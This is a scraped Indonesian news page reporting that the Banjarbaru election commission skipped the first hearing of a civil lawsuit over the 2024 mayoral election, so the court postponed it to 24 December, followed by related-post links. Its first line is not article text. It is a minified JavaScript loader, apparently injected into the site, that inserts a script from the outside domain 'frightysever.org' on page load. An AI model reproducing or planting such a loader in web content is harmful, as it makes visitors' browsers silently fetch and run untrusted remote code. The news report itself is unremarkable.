(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

KPU Banjarbaru Tak Hadir Sidang Gugatan di PN Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Tak hanya digugat di Mahkamah Konstitusi (MK), Komisi Pemilihan Umum (KPU) Kota Banjarbaru juga mendapat gugatan di Pengadilan Negeri (PN) Banjarbaru.

Gugatan ini masuk dengan nomor perkara 95/Pdt.G/2024/PN Bjb terkait sengketa penetapan hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024.

Laporan gugatan didaftarkan pada 2 Desember 2024 lalu, dengan penggugat bernama Muhammad Supian Noor SH dengan pihak tergugat adalah KPU Kota Banjarbaru.

Sidang perdana gugatan hasil Pilwali Banjarbaru 2024 diagendakan terlaksana pada Selasa (17/12/2024) siang, namun harus ditunda.

Baca juga: Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

Humas PN Banjarbaru, Pratama Muhammad Rizky mengungkapkan, alasan penundaan sidang adalah karena KPU Banjarbaru sebagai pihak tergugat absen (tidak hadir, red) dalam sidang perdana.

Seyogyanya agenda sidang perdana gugatan dilakukan pada Selasa (17/12/2024) pukul 09.00 Wita, di ruang sidang Tirta PN Banjarbaru. Sidang gugatan diketuai Hendra Novryandie bersama dua hakim anggota, Artika Asmal dan Shenny Salimdra.

Namun, pihaknya menerima surat pemberitahuan dari KPU Banjarbaru perihal alasan absennya lembaga penyelenggara pemilu itu saat sidang gugatan perdana.

Baca juga: BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

“Dalam surat yang diterima, KPU Banjarbaru masih meneliti materi isi gugatan dan menyiapkan tim hukum,” ujar Humas PN Banjarbaru, Pratama Muhammad Rizky, Selasa (17/12/2024).

“Sehingga tetap hari ini KPU dianggap tidak hadir,” sambung dia.

Dirinya menjelaskan bahwa, dalam dengan Kitab Undang-Undang Hukum Acara Pidana (KUHAP), diberikan waktu tiga kali kesempatan untuk memanggil pihak tergugat.

PN Banjarbaru sendiri, sebut Rizky, masih memiliki dua kali kesempatan untuk memanggil tergugat.

Baca juga: Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

“Sidang ditunda Selasa depan di tanggal 24 Desember. Agendanya masih sama,” sebutnya.

Terpisah Muhammad Supian Noor selaku pihak penggugat kecewa dengan ketidakhadiran pihak KPU Banjarbaru dalam sidang gugatan perdana.

Padahal, agenda pemanggilan sidang seharusnya sudah dilakukan sejak didaftarkan ke PN Banjarbaru pada 2 Desember lalu.

“Sehari setelahnya, panggilan dari pengadilan kita terima. Otomatis tergugat pasti menerima panggilan juga,” ujar Muhammad Supian Noor.

Baca juga: Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Sebagai penggugat, Supian menilai KPU Banjarbaru melakukan perbuatan melawan hukum. Karena dinilai dari hasil diskualifikasi salah satu pasangan calon (paslon), KPU Banjarbaru seharusnya menaati keputusan yang dibuat.

“Tapi mereka melanggar administrasi sendiri, dengan tetap melaksanakan Pilkada dengan menggunakan gambar paslon yang didiskualifikasi tersebut dimuat pada kolom surat suara,” tandas Supian. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Kanit Reskrim di Paser Tak Bernyawa Dipukul Warga, Ini Kronologinya

KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More

15 menit ago

KPK Limpahkan Korupsi Proyek PUPR Kalsel ke PN Banjarmasin

Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More

31 menit ago

Wangi Wadai Apam Barabai Merambah Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More

38 menit ago

Srikandi PLN UIP3B Kalimantan Dorong Pemberdayaan Perempuan

KANALKALIMANTAN.COM, BANJARBARU - Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

2 jam ago

Warga Rantau Bakula Mengadu ke DPRD Kalsel, Minta Evaluasi Aktivitas Tambang

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah warga dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar mendatangi… Read More

3 jam ago

PLN Dukung Stimulus Ekonomi Pemerintah, 97% Pelanggan Rumah Tangga Peroleh Diskon 50%

KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) mendukung penuh langkah Pemerintah dalam menyalurkan paket stimulus ekonomi… Read More

3 jam ago

This website uses cookies.